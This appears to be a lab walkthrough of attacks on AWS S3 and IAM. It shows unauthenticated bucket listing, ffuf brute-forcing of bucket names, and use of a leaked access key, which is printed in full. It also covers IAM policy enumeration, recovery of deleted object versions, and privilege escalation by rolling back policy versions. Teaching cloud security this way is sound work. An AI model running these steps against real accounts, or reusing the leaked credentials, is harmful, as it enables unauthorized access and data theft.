

Demo Walkthrough

Public Bucket


```
aws s3 ls bucket-name --no-sign-request
```

```
(geo@Lenova)-[~]  
$ aws s3 ls srm-bucket-public --no-sign-request  
2025-03-14 10:32:34          34 flag.txt  
  
(geo@Lenova)-[~]  
$
```

Brute-Force AWS Buckets

```
ffuf -w 'buckets.names:KEYWORD' -u https://srm-bucket-KEYWORD.s3.eu-north-1.amazonaws.com -mc 200,403,302
```

```
(geo@Lenova)-[~]  
$ ffuf -w 'buckets.names:KEYWORD' -u https://srm-bucket-KEYWORD.s3.eu-north-1.amazonaws.com -mc 200,403,302
```



v2.1.0-dev

```
:: Method      : GET  
:: URL        : https://srm-bucket-KEYWORD.s3.eu-north-1.amazonaws.com  
:: Wordlist    : KEYWORD: /home/geo/buckets.names  
:: Follow redirects : false  
:: Calibration : false  
:: Timeout    : 10  
:: Threads    : 40  
:: Matcher    : Response status: 200,403,302
```

```
public      [Status: 200, Size: 533, Words: 4, Lines: 2, Duration: 197ms]  
final      [Status: 403, Size: 243, Words: 4, Lines: 2, Duration: 176ms]  
privatedownload [Status: 403, Size: 275, Words: 4, Lines: 2, Duration: 186ms]  
bucket2    [Status: 200, Size: 825, Words: 4, Lines: 2, Duration: 205ms]  
:: Progress: [2377/2377] :: Job [1/1] :: 38 req/sec :: Duration: [0:01:03] :: Errors: 0 ::
```

Enumeration

Configure

```
aws configure --profile profile-name
```

```
(geo@Lenova)-[~]  
$ aws configure --profile leaked  
AWS Access Key ID [*****6HFJ]: AKIAQWHCPXWPKIJFC73N  
AWS Secret Access Key [*****Oat\]: 12jXjbyx0GHPv+ZT/PkBghdefT+dkNFy0Dsyite  
Default region name [us-east-1]:  
Default output format [None]:
```

Profile Details

```
aws sts get-caller-identity --profile leaked
```

```
(geo@Lenova)-[~]  
$ aws sts get-caller-identity --profile leaked  
{  
  "UserId": "AIDAQWHCPXWPB00A3EEMT",  
  "Account": "047719628190",  
  "Arn": "arn:aws:iam::047719628190:user/raju"  
}
```

Attached Policy

```
aws iam list-attached-user-policies --user-name [username] --profile [profile-name] #  
List all managed policies attached to the specified IAM user.
```

```
aws iam get-policy --policy-arn [policy-arn] # Retrieve metadata about a specific  
managed policy using its ARN.
```

```
aws iam list-policy-versions --policy-arn [policy-arn] # List all versions of a  
specified managed policy.
```

```
aws iam get-policy-version --policy-arn policy-arn --version-id [version-id] #  
Retrieve the details of a specific version of a managed policy.
```

Inline Policy

```
aws iam list-user-policies --user-name [username] --profile [profile-name] # List all  
inline policies directly attached to the specified IAM user.
```

```
aws iam get-user-policy --user-name user-name --policy-name [policy-name] # Retrieve  
the details of a specific inline policy attached to the specified IAM user.
```

S3 Versioning

```
aws s3api list-object-versions --bucket srm-bucket-privatedownload --profile leaked
```

```
(geo@Lenova)-[~]
$ aws s3api list-object-versions --bucket srm-bucket-privatedownload --profile leaked
{
  "Versions": [
    {
      "ETag": "\"2d0a7e86fa835caf5479832d89abc7f6\"",
      "ChecksumAlgorithm": [
        "CRC64NVME"
      ],
      "Size": 22468,
      "StorageClass": "STANDARD",
      "Key": "Kaliya.jpeg",
      "VersionId": "eEqZhgtjzYYvuu096M4VzyYZdowfncFW",
      "IsLatest": true,
      "LastModified": "2025-03-14T06:16:58+00:00",
      "Owner": {
        "ID": "0e4e5666160a28156a2b4d7df7269bb51d737099988a54f11b34533bda30134b"
      }
    },
    {
      "ETag": "\"5a504160890688be39b3195624603c94\"",
      "ChecksumAlgorithm": [
        "CRC64NVME"
      ],
      "Size": 96,
      "StorageClass": "STANDARD",
      "Key": "kaliya.txt",
      "VersionId": "_SojA1XnVC.LNME8W0mQxrfrct_I8cDG",
      "IsLatest": false,
      "LastModified": "2025-03-14T06:16:58+00:00",
      "Owner": {
        "ID": "0e4e5666160a28156a2b4d7df7269bb51d737099988a54f11b34533bda30134b"
      }
    }
  ],
  "DeleteMarkers": [
    {
      "Owner": {
        "ID": "0e4e5666160a28156a2b4d7df7269bb51d737099988a54f11b34533bda30134b"
      },
      "Key": "kaliya.txt",
      "VersionId": "5TWL1ilckqHvXBc9OWEmVfSf9wBftRHA",
      "IsLatest": true,
      "LastModified": "2025-03-14T06:17:31+00:00"
    }
  ],
  "RequestCharged": null
}
```

```
aws s3api get-object --bucket srm-bucket-privatedownload --key kaliya.txt --version-id "_SojA1XnVC.LNME8W0mQxrfrct_I8cDG" output-file.txt --profile leaked
```

```
(geo@Lenova)-[~]
$ aws s3api get-object --bucket srm-bucket-privatedownload --key kaliya.txt --version-id "_SojA1XnVC.LNME8W0mQxrfrct_I8cDG" output-file.txt --profile leaked
{
  "AcceptRanges": "bytes",
  "LastModified": "2025-03-14T06:16:58+00:00",
  "ContentLength": 96,
  "ETag": "\"5a504160890688be39b3195624603c94\"",
  "VersionId": "_SojA1XnVC.LNME8W0mQxrfrct_I8cDG",
  "ContentType": "text/plain",
  "ServerSideEncryption": "AES256",
  "Metadata": {}
}
```

Role Back

```
aws iam list-attached-user-policies --user-name username
aws iam list-policy-versions --policy-arn [policy-arn]
aws iam get-policy-version --policy-arn [policy-arn] --version-id [version]
aws iam set-default-policy-version --policy-arn [policy-arn] --version-id v1
```